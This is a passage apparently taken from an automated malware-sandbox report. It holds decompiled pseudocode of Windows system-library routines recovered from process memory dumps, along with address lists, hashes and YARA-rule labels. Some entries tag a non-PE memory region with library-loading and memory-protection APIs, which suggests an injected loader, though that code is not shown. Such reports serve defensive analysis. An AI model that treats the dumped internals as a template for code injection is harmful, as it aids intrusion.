											if(_t83 != 0) {
												_t59 =  &(_t124[5]); // 0x14
												if(_t83 != _t59) {
													L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
												}
											}
											_push( *_t124);
											E1E3D95D0();
											goto L33;
										}
										 *_a16 = _t124;
										return 0;
									}
									if(_t108 != 1) {
										_t122 = 0;
										goto L40;
									}
									_t122 = 0xc0000061;
									goto L29;
								} else {
									goto L22;
								}
								while(1) {
									L22:
									_t89 =  *0x1e487b9c; // 0x0
									_t92 = L1E3B4620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
									_t124[2] = _t92;
									if(_t92 == 0) {
										break;
									}
									_t112 =  &_v8;
									_push( &_v8);
									_push(_t92);
									_push(_v8);
									_push(_t124[3]);
									_push(0);
									_push( *_t124);
									_t122 = E1E3D9910();
									if(_t122 != 0xc0000023) {
										goto L26;
									}
									L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
								}
								_t122 = 0xc0000017;
								goto L26;
							}
							_t119 = 0;
							do {
								_t114 = _t124[3];
								_t119 = _t119 + 0xc;
								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
								_t123 = _t123 + 1;
								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
							} while (_t123 < _t108);
							goto L21;
						}
						_push(0x28);
						_push(3);
						_t122 = E1E39A7B0();
						if(_t122 < 0) {
							goto L33;
						}
						_t124[4] = _t124[4] | 0x00000001;
						goto L18;
					}
					if((_t106 & 0x00000001) == 0) {
						_t115 = 0x28;
						_t122 = E1E42E7D3(_t115, _t124);
						if(_t122 < 0) {
							L9:
							_push(_t124);
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							goto L37;
						}
						L12:
						if( *_t124 != 0) {
							goto L18;
						}
						goto L13;
					}
					_t15 =  &(_t124[1]); // 0x4
					_t117 = 4;
					_t122 = E1E42E7D3(_t117, _t15);
					if(_t122 >= 0) {
						_t124[4] = _t124[4] | 0x00000001;
						_v12 = _v12 & 0x00000000;
						_push(4);
						_push( &_v12);
						_push(5);
						_push(0xfffffffe);
						E1E3D95B0();
						goto L12;
					}
					goto L9;
				} else {
					return 0xc0000017;
				}
			}

0x1e42b8d9
0x1e42b8e4
0x00000000
0x1e42b8e6
0x1e42b8f3
0x1e42b8f5
0x1e42b8f5
0x1e42b8f8
0x1e42b920
0x1e42b924
0x1e42b936
0x1e42b939
0x1e42b93d
0x1e42b948
0x1e42b9a0
0x1e42b9a0
0x1e42b9a4
0x1e42b9bf
0x1e42b9c4
0x1e42b9c6
0x1e42b9cd
0x1e42b9d1
0x1e42bad4
0x1e42bad8
0x1e42bada
0x1e42badc
0x1e42badc
0x1e42badf
0x1e42bae0
0x1e42bae2
0x1e42bae4
0x1e42baec
0x1e42baee
0x1e42baf0
0x1e42baf0
0x1e42baec
0x1e42bafb
0x1e42bafc
0x1e42bafe
0x1e42bb01
0x1e42bb01
0x00000000
0x1e42bb06
0x1e42b9d7
0x1e42b9db
0x1e42b9db
0x1e42b9de
0x1e42b9de
0x1e42b9e4
0x1e42b9e7
0x1e42b9ea
0x1e42b9ec
0x1e42b9ef
0x1e42b9f3
0x1e42ba1b
0x1e42ba1b
0x1e42ba23
0x1e42ba24
0x1e42ba27
0x1e42ba2a
0x1e42ba2b
0x1e42ba2e
0x1e42ba30
0x1e42ba37
0x1e42ba3f
0x1e42ba9c
0x1e42baa2
0x1e42bb13
0x1e42bb15
0x1e42baae
0x1e42baae
0x1e42bab3
0x1e42bab5
0x1e42baba
0x1e42bac8
0x1e42bac8
0x1e42baba
0x1e42bacd
0x1e42bacf
0x00000000
0x1e42bacf
0x1e42bb1a
0x00000000
0x1e42bb1c
0x1e42baa7
0x1e42bb11
0x00000000
0x1e42bb11
0x1e42baa9
0x00000000
0x00000000
0x00000000
0x00000000
0x1e42ba41
0x1e42ba41
0x1e42ba41
0x1e42ba58
0x1e42ba5d
0x1e42ba62
0x00000000
0x00000000
0x1e42ba64
0x1e42ba67
0x1e42ba68
0x1e42ba69
0x1e42ba6c
0x1e42ba6f
0x1e42ba71
0x1e42ba78
0x1e42ba80
0x00000000
0x00000000
0x1e42ba90
0x1e42ba90
0x1e42ba97
0x00000000
0x1e42ba97
0x1e42b9f5
0x1e42b9f7
0x1e42b9f7
0x1e42b9fa
0x1e42ba03
0x1e42ba07
0x1e42ba0c
0x1e42ba10
0x1e42ba17
0x00000000
0x1e42b9f7
0x1e42b9a6
0x1e42b9a8
0x1e42b9af
0x1e42b9b3
0x00000000
0x00000000
0x1e42b9b9
0x00000000
0x1e42b9b9
0x1e42b94d
0x1e42b98f
0x1e42b995
0x1e42b999
0x1e42b960
0x1e42b967
0x1e42b968
0x1e42b96a
0x00000000
0x1e42b96a
0x1e42b99b
0x1e42b99e
0x00000000
0x00000000
0x00000000
0x1e42b99e
0x1e42b951
0x1e42b954
0x1e42b95a
0x1e42b95e
0x1e42b972
0x1e42b979
0x1e42b97d
0x1e42b97f
0x1e42b980
0x1e42b982
0x1e42b984
0x00000000
0x1e42b984
0x00000000
0x1e42b926
0x00000000
0x1e42b926

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97996a311b8ecf9be6f7cd40a1874aa3f00905531a39849379a35f99857b21ec
Instruction ID: 14e62d2cc30bc99d1d0da8f90360c5ec22b8ef002dc3352ac3dbaccc1d6c6ac3
Opcode Fuzzy Hash: 97996a311b8ecf9be6f7cd40a1874aa3f00905531a39849379a35f99857b21ec
Instruction Fuzzy Hash: 1A713F36200B42AFD722CF15D844F56BBF6EF40720F514B3AE5568BAA0EBB1E945CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00562CA9, Relevance: .2, Instructions: 197libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 950515874bc63b4c366281224c2a89f241eb871dc01627b4761f45323117b6f3
Instruction ID: c88c8af8f4a3d47b6c52da9a3157601aa8317af252b8486c35fc51b7bd2fa8d8
Opcode Fuzzy Hash: 950515874bc63b4c366281224c2a89f241eb871dc01627b4761f45323117b6f3
Instruction Fuzzy Hash: BD5138B0240309AFFF251E14DC997E53E62FF5A364F644425FE829B2D2C7B58DC89640

Uniqueness

Uniqueness Score: -1.00%

Function 00566601, Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: a30e21737a9bde8e96f141215aa931e1c731b66409c0783dae1416c2f7310c78
Instruction ID: 2e84bca4c803f07450122483a14981652d650f9e1d3d0e61ef0b3fa16fffdf2a
Opcode Fuzzy Hash: a30e21737a9bde8e96f141215aa931e1c731b66409c0783dae1416c2f7310c78
Instruction Fuzzy Hash: A351D570604342CFCB258F388598791BFD1BF66324F59869ADC968B2D6D331C846C722

Uniqueness

Uniqueness Score: -1.00%

Function 0056662E, Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: c48ac08f6386cf04b9c7192b3d9e9fa01bb180bcfd2ee385d5d7224ff66f20a4
Instruction ID: 02570fd7ccbc3e51d5e5ca734186f50d3745bab4ce1806f901d2f167d0d12cf0
Opcode Fuzzy Hash: c48ac08f6386cf04b9c7192b3d9e9fa01bb180bcfd2ee385d5d7224ff66f20a4
Instruction Fuzzy Hash: A751D670604342CFCB258F388598791BFD1BF66324F59869ADC968B2E7D335C846CB22

Uniqueness

Uniqueness Score: -1.00%

Function 00562D02, Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37efcba32079b00fcd352d44fee2aeb82818ec42f937c94604b62a947ae591fa
Instruction ID: 942a85608b217e6b11d0b648606002c6f8c3d9e274ac361559b9230ddbe0d978
Opcode Fuzzy Hash: 37efcba32079b00fcd352d44fee2aeb82818ec42f937c94604b62a947ae591fa
Instruction Fuzzy Hash: B0516CB0240709AFFF251E14DC997EA3E26FF59364F240525FE829B2D1CBB59DC89640

Uniqueness

Uniqueness Score: -1.00%

Function 1E3952A5, Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E1E3952A5(char __ecx) {
				char _v20;
				char _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v64;
				void* __ebx;
				intOrPtr* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					E1E3AEEF0(0x1e4879a0);
					_t104 =  *0x1e488210; // 0x852c50
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					_t2 = _t104 + 8; // 0x2e000000
					 *((intOrPtr*)(_t108 + 0x18)) =  *_t2;
					E1E3AEB70(_t93, 0x1e4879a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_t10 = _t104 + 4; // 0x0
							_push( *_t10);
							_t53 = E1E3D9890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									E1E3AEEF0(0x1e4879a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E1E3AEB70(0, 0x1e4879a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t11 = _t104 + 0xe; // 0x852c6802
								_t13 = _t104 + 0xc; // 0x852c5d
								_t93 = _t13;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E1E3CF0BF(_t13,  *_t11 & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									E1E3AEEF0(0x1e4879a0);
									__eflags =  *0x1e488210 - _t104; // 0x852c50
									if(__eflags == 0) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x1e488210 = _t102;
										_t32 = _t102 + 0xc; // 0x0
										 *_t95 =  *_t32;
										_t33 = _t102 + 0x10; // 0x0
										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
										_t35 = _t102 + 4; // 0xffffffff
										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
										if(__eflags != 0) {
											_t37 = _t104 + 0x10; // 0x2000852c
											_t95 =  *((intOrPtr*)( *_t37));
											E1E414888(_t89,  *((intOrPtr*)( *_t37)), __eflags);
										}
										E1E3AEB70(_t95, 0x1e4879a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_t38 = _t104 + 4; // 0x0
											_push( *_t38);
											E1E3D95D0();
											L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_t41 = _t104 + 4; // 0x0
											_push( *_t41);
											E1E3D95D0();
											L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E1E3AEB70(_t93, 0x1e4879a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_t25 = _t104 + 4; // 0x0
										_push( *_t25);
										E1E3D95D0();
										L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
										_t102 =  *((intOrPtr*)(_t108 + 0x10));
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_t28 = _t102 + 4; // 0xffffffff
										_push( *_t28);
										E1E3D95D0();
										L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
									}
									continue;
								}
								_t15 = _t104 + 0x10; // 0x2000852c
								_t93 =  &_v20;
								_t17 = _t104 + 0xe; // 0x852c6802
								 *((intOrPtr*)(_t108 + 0x20)) =  *_t15;
								_t85 = 6;
								_v20 = _t85;
								_t87 = E1E3CF0BF( &_v20,  *_t17 & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x1e3952a5
0x1e3952ad
0x1e3952b0
0x1e3952b3
0x1e3952b7
0x1e3952ba
0x1e3952bf
0x1e3952c4
0x1e3952cc
0x00000000
0x00000000
0x1e3952ce
0x1e3952d1
0x1e3952d9
0x1e3952dd
0x1e3952e7
0x1e3952f7
0x1e3952f9
0x1e3952fd
0x1e3f0dcf
0x1e3f0dd5
0x1e3f0dd6
0x1e3f0dd7
0x1e3f0dd8
0x1e3f0dd9
0x1e3f0dde
0x1e3f0ddf
0x1e3f0de0
0x1e3f0de1
0x1e3f0de2
0x1e3f0de2
0x1e3f0de5
0x1e3f0dea
0x1e3f0dec
0x1e3f0f60
0x1e3f0f64
0x1e3f0f70
0x1e3f0f76
0x1e3f0f79
0x1e3f0f79
0x00000000
0x1e3f0f64
0x1e3f0df2
0x1e3f0df7
0x1e3f0e04
0x1e3f0e04
0x1e3f0e0d
0x1e3f0e0d
0x1e3f0e10
0x1e3f0e1a
0x1e3f0e1c
0x1e3f0e4c
0x1e3f0e52
0x1e3f0e61
0x1e3f0e67
0x1e3f0e6b
0x1e3f0e70
0x1e3f0e76
0x1e3f0ed7
0x1e3f0edc
0x1e3f0ee0
0x1e3f0ee6
0x1e3f0eea
0x1e3f0eed
0x1e3f0ef0
0x1e3f0ef3
0x1e3f0ef6
0x1e3f0ef9
0x1e3f0efb
0x1e3f0efe
0x1e3f0f01
0x1e3f0f01
0x1e3f0f0b
0x1e3f0f12
0x1e3f0f16
0x1e3f0f18
0x1e3f0f18
0x1e3f0f1b
0x1e3f0f2c
0x1e3f0f31
0x1e3f0f31
0x1e3f0f35
0x1e3f0f39
0x1e3f0f3a
0x1e3f0f3c
0x1e3f0f3c
0x1e3f0f3f
0x1e3f0f50
0x1e3f0f55
0x1e3f0f55
0x1e3f0f59
0x1e3952eb
0x1e3952f1
0x1e3952f1
0x1e3f0e7d
0x1e3f0e84
0x1e3f0e88
0x1e3f0e8a
0x1e3f0e8a
0x1e3f0e8d
0x1e3f0e9e
0x1e3f0ea3
0x1e3f0ea3
0x1e3f0ea7
0x1e3f0eaf
0x1e3f0eb3
0x1e3f0eb9
0x1e3f0eb9
0x1e3f0ebc
0x1e3f0ecd
0x1e3f0ecd
0x00000000
0x1e3f0eb3
0x1e3f0e1e
0x1e3f0e21
0x1e3f0e25
0x1e3f0e2b
0x1e3f0e2f
0x1e3f0e30
0x1e3f0e3a
0x1e3f0e3f
0x1e3f0e41
0x00000000
0x00000000
0x1e3f0e47
0x00000000
0x1e3f0e47
0x1e3f0df9
0x1e3f0dfe
0x00000000
0x00000000
0x00000000
0x1e3f0dfe
0x1e395303
0x1e395307
0x00000000
0x1e395309
0x00000000
0x1e395309
0x1e395307
0x1e3952e9
0x1e3952e9
0x00000000
0x1e3952e9
0x1e39530e
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e470955fe09f2206eee18398457b55be8338194785157bc19b5a98fab4a097b
Instruction ID: 9bb07066218de8d142fad5dd7fe8812ef197017cdcf1afdabcc524378b968bac
Opcode Fuzzy Hash: 8e470955fe09f2206eee18398457b55be8338194785157bc19b5a98fab4a097b
Instruction Fuzzy Hash: 1E518A75105782ABD311CFA9C854B1BBBE5FF84710F140B1AE49587690E770F884CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C2AE4, Relevance: .2, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3C2AE4(intOrPtr* __ecx, intOrPtr __edx, signed int _a4, short* _a8, intOrPtr _a12, signed int* _a16) {
				signed short* _v8;
				signed short* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				short _t56;
				signed int _t57;
				intOrPtr _t58;
				signed short* _t61;
				intOrPtr _t72;
				intOrPtr _t75;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr* _t90;
				signed short* _t91;
				signed int _t95;
				signed short* _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				signed int _t108;
				intOrPtr _t110;
				signed int _t111;
				signed short* _t112;
				void* _t113;
				signed int _t116;
				signed short** _t119;
				short* _t120;
				signed int _t123;
				signed int _t124;
				void* _t125;
				intOrPtr _t127;
				signed int _t128;

				_t90 = __ecx;
				_v16 = __edx;
				_t108 = _a4;
				_v28 = __ecx;
				_t4 = _t108 - 1; // -1
				if(_t4 > 0x13) {
					L15:
					_t56 = 0xc0000100;
					L16:
					return _t56;
				}
				_t57 = _t108 * 0x1c;
				_v32 = _t57;
				_t6 = _t57 + 0x1e488204; // 0x0
				_t123 =  *_t6;
				_t7 = _t57 + 0x1e488208; // 0x1e488207
				_t8 = _t57 + 0x1e488208; // 0x1e488207
				_t119 = _t8;
				_v36 = _t123;
				_t110 = _t7 + _t123 * 8;
				_v24 = _t110;
				_t111 = _a4;
				if(_t119 >= _t110) {
					L12:
					if(_t123 != 3) {
						_t58 =  *0x1e488450; // 0x8958a2
						if(_t58 == 0) {
							_t58 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x48));
						}
					} else {
						_t26 = _t57 + 0x1e48821c; // 0x0
						_t58 =  *_t26;
					}
					 *_t90 = _t58;
					goto L15;
				} else {
					goto L2;
				}
				while(1) {
					_t116 =  *_t61 & 0x0000ffff;
					_t128 =  *(_t127 + _t61) & 0x0000ffff;
					if(_t116 == _t128) {
						goto L18;
					}
					L5:
					if(_t116 >= 0x61) {
						if(_t116 > 0x7a) {
							_t97 =  *0x1e486d5c; // 0x7ffd0654
							_t72 =  *0x1e486d5c; // 0x7ffd0654
							_t75 =  *0x1e486d5c; // 0x7ffd0654
							_t116 =  *((intOrPtr*)(_t75 + (( *(_t72 + (( *(_t97 + (_t116 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t116 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t116 & 0x0000000f)) * 2)) + _t116 & 0x0000ffff;
						} else {
							_t116 = _t116 - 0x20;
						}
					}
					if(_t128 >= 0x61) {
						if(_t128 > 0x7a) {
							_t102 =  *0x1e486d5c; // 0x7ffd0654
							_t84 =  *0x1e486d5c; // 0x7ffd0654
							_t87 =  *0x1e486d5c; // 0x7ffd0654
							_t128 =  *((intOrPtr*)(_t87 + (( *(_t84 + (( *(_t102 + (_t128 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t128 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t128 & 0x0000000f)) * 2)) + _t128 & 0x0000ffff;
						} else {
							_t128 = _t128 - 0x20;
						}
					}
					if(_t116 == _t128) {
						_t61 = _v12;
						_t96 = _v8;
					} else {
						_t113 = _t116 - _t128;
						L9:
						_t111 = _a4;
						if(_t113 == 0) {
							_t115 =  &(( *_t119)[_t111 + 1]);
							_t33 =  &(_t119[1]); // 0x100
							_t120 = _a8;
							_t95 =  *_t33 -  &(( *_t119)[_t111 + 1]) >> 1;
							_t35 = _t95 - 1; // 0xff
							_t124 = _t35;
							if(_t120 == 0) {
								L27:
								 *_a16 = _t95;
								_t56 = 0xc0000023;
								goto L16;
							}
							if(_t124 >= _a12) {
								if(_a12 >= 1) {
									 *_t120 = 0;
								}
								goto L27;
							}
							 *_a16 = _t124;
							_t125 = _t124 + _t124;
							E1E3DF3E0(_t120, _t115, _t125);
							_t56 = 0;
							 *((short*)(_t125 + _t120)) = 0;
							goto L16;
						}
						_t119 =  &(_t119[2]);
						if(_t119 < _v24) {
							L2:
							_t91 =  *_t119;
							_t61 = _t91;
							_v12 = _t61;
							_t112 =  &(_t61[_t111]);
							_v8 = _t112;
							if(_t61 >= _t112) {
								break;
							} else {
								_t127 = _v16 - _t91;
								_t96 = _t112;
								_v20 = _t127;
								_t116 =  *_t61 & 0x0000ffff;
								_t128 =  *(_t127 + _t61) & 0x0000ffff;
								if(_t116 == _t128) {
									goto L18;
								}
								goto L5;
							}
						} else {
							_t90 = _v28;
							_t57 = _v32;
							_t123 = _v36;
							goto L12;
						}
					}
					L18:
					_t61 =  &(_t61[1]);
					_v12 = _t61;
					if(_t61 >= _t96) {
						break;
					}
					_t127 = _v20;
				}
				_t113 = 0;
				goto L9;
			}

0x1e3c2ae4
0x1e3c2aec
0x1e3c2aef
0x1e3c2af4
0x1e3c2af7
0x1e3c2afd
0x1e3c2b92
0x1e3c2b92
0x1e3c2b97
0x1e3c2b9c
0x1e3c2b9c
0x1e3c2b03
0x1e3c2b06
0x1e3c2b09
0x1e3c2b09
0x1e3c2b0f
0x1e3c2b15
0x1e3c2b15
0x1e3c2b1b
0x1e3c2b1e
0x1e3c2b21
0x1e3c2b26
0x1e3c2b29
0x1e3c2b81
0x1e3c2b84
0x1e3c2c0e
0x1e3c2c15
0x1e3c2c24
0x1e3c2c24
0x1e3c2b8a
0x1e3c2b8a
0x1e3c2b8a
0x1e3c2b8a
0x1e3c2b90
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3c2b4a
0x1e3c2b4a
0x1e3c2b4d
0x1e3c2b53
0x00000000
0x00000000
0x1e3c2b55
0x1e3c2b58
0x1e3c2bb7
0x1e405d1b
0x1e405d37
0x1e405d47
0x1e405d53
0x1e3c2bbd
0x1e3c2bbd
0x1e3c2bbd
0x1e3c2bb7
0x1e3c2b5d
0x1e3c2c2f
0x1e405d5b
0x1e405d77
0x1e405d87
0x1e405d93
0x1e3c2c35
0x1e3c2c35
0x1e3c2c35
0x1e3c2c2f
0x1e3c2b65
0x1e3c2b9f
0x1e3c2ba2
0x1e3c2b67
0x1e3c2b67
0x1e3c2b69
0x1e3c2b6b
0x1e3c2b6e
0x1e3c2bc9
0x1e3c2bcc
0x1e3c2bcf
0x1e3c2bd4
0x1e3c2bd6
0x1e3c2bd6
0x1e3c2bdb
0x1e3c2c02
0x1e3c2c05
0x1e3c2c07
0x00000000
0x1e3c2c07
0x1e3c2be0
0x1e3c2c00
0x1e3c2c3f
0x1e3c2c3f
0x00000000
0x1e3c2c00
0x1e3c2be5
0x1e3c2be7
0x1e3c2bec
0x1e3c2bf4
0x1e3c2bf6
0x00000000
0x1e3c2bf6
0x1e3c2b70
0x1e3c2b76
0x1e3c2b2b
0x1e3c2b2b
0x1e3c2b2d
0x1e3c2b2f
0x1e3c2b32
0x1e3c2b35
0x1e3c2b3a
0x00000000
0x1e3c2b40
0x1e3c2b43
0x1e3c2b45
0x1e3c2b47
0x1e3c2b4a
0x1e3c2b4d
0x1e3c2b53
0x00000000
0x00000000
0x00000000
0x1e3c2b53
0x1e3c2b78
0x1e3c2b78
0x1e3c2b7b
0x1e3c2b7e
0x00000000
0x1e3c2b7e
0x1e3c2b76
0x1e3c2ba5
0x1e3c2ba5
0x1e3c2ba8
0x1e3c2bad
0x00000000
0x00000000
0x1e3c2baf
0x1e3c2baf
0x1e3c2bc2
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bfba59a310b5d3340c8118b1272c4b8fe855b3e5dd61b8ccef3930bff44050f
Instruction ID: eb6483b381e12afc13d0cc62fd4d2498975c48592e727e9f59f9bc78ab34e9b1
Opcode Fuzzy Hash: 1bfba59a310b5d3340c8118b1272c4b8fe855b3e5dd61b8ccef3930bff44050f
Instruction Fuzzy Hash: D051E376A10525CFCB18DF5DC8909ADB7F6FB88B00B05865BE949AB310D730EE51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00562D5A, Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0173e89da5ea8faaeb675116e30bc8e7bae3fd47cf9a54cb19773d2115391f4f
Instruction ID: 53e88832c4922bea33cf4e9646e8c3cedcb4a0bee5b80418afbc4574522713fd
Opcode Fuzzy Hash: 0173e89da5ea8faaeb675116e30bc8e7bae3fd47cf9a54cb19773d2115391f4f
Instruction Fuzzy Hash: 63416AB024070AAFEF251E14CC997EA3E26FF59364F240525FE469B2D1CBB58DC89740

Uniqueness

Uniqueness Score: -1.00%

Function 1E45AE44, Relevance: .2, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E1E45AE44(signed char __ecx, signed int __edx, signed int _a4, signed char _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				void* __esi;
				void* __ebp;
				signed short* _t36;
				signed int _t41;
				char* _t42;
				intOrPtr _t43;
				signed int _t47;
				void* _t52;
				signed int _t57;
				intOrPtr _t61;
				signed char _t62;
				signed int _t72;
				signed char _t85;
				signed int _t88;

				_t73 = __edx;
				_push(__ecx);
				_t85 = __ecx;
				_v8 = __edx;
				_t61 =  *((intOrPtr*)(__ecx + 0x28));
				_t57 = _a4 |  *(__ecx + 0xc) & 0x11000001;
				if(_t61 != 0 && _t61 ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
					_t57 = _t57 | 0x00000001;
				}
				_t88 = 0;
				_t36 = 0;
				_t96 = _a12;
				if(_a12 == 0) {
					_t62 = _a8;
					__eflags = _t62;
					if(__eflags == 0) {
						goto L12;
					}
					_t52 = E1E45C38B(_t85, _t73, _t57, 0);
					_t62 = _a8;
					 *_t62 = _t52;
					_t36 = 0;
					goto L11;
				} else {
					_t36 = E1E45ACFD(_t85, _t73, _t96, _t57, _a8);
					if(0 == 0 || 0 == 0xffffffff) {
						_t72 = _t88;
					} else {
						_t72 =  *0x00000000 & 0x0000ffff;
					}
					 *_a12 = _t72;
					_t62 = _a8;
					L11:
					_t73 = _v8;
					L12:
					if((_t57 & 0x01000000) != 0 ||  *((intOrPtr*)(_t85 + 0x20)) == _t88) {
						L19:
						if(( *(_t85 + 0xc) & 0x10000000) == 0) {
							L22:
							_t74 = _v8;
							__eflags = _v8;
							if(__eflags != 0) {
								L25:
								__eflags = _t88 - 2;
								if(_t88 != 2) {
									__eflags = _t85 + 0x44 + (_t88 << 6);
									_t88 = E1E45FDE2(_t85 + 0x44 + (_t88 << 6), _t74, _t57);
									goto L34;
								}
								L26:
								_t59 = _v8;
								E1E45EA55(_t85, _v8, _t57);
								asm("sbb esi, esi");
								_t88 =  ~_t88;
								_t41 = E1E3B7D50();
								__eflags = _t41;
								if(_t41 == 0) {
									_t42 = 0x7ffe0380;
								} else {
									_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								}
								__eflags =  *_t42;
								if( *_t42 != 0) {
									_t43 =  *[fs:0x30];
									__eflags =  *(_t43 + 0x240) & 0x00000001;
									if(( *(_t43 + 0x240) & 0x00000001) != 0) {
										__eflags = _t88;
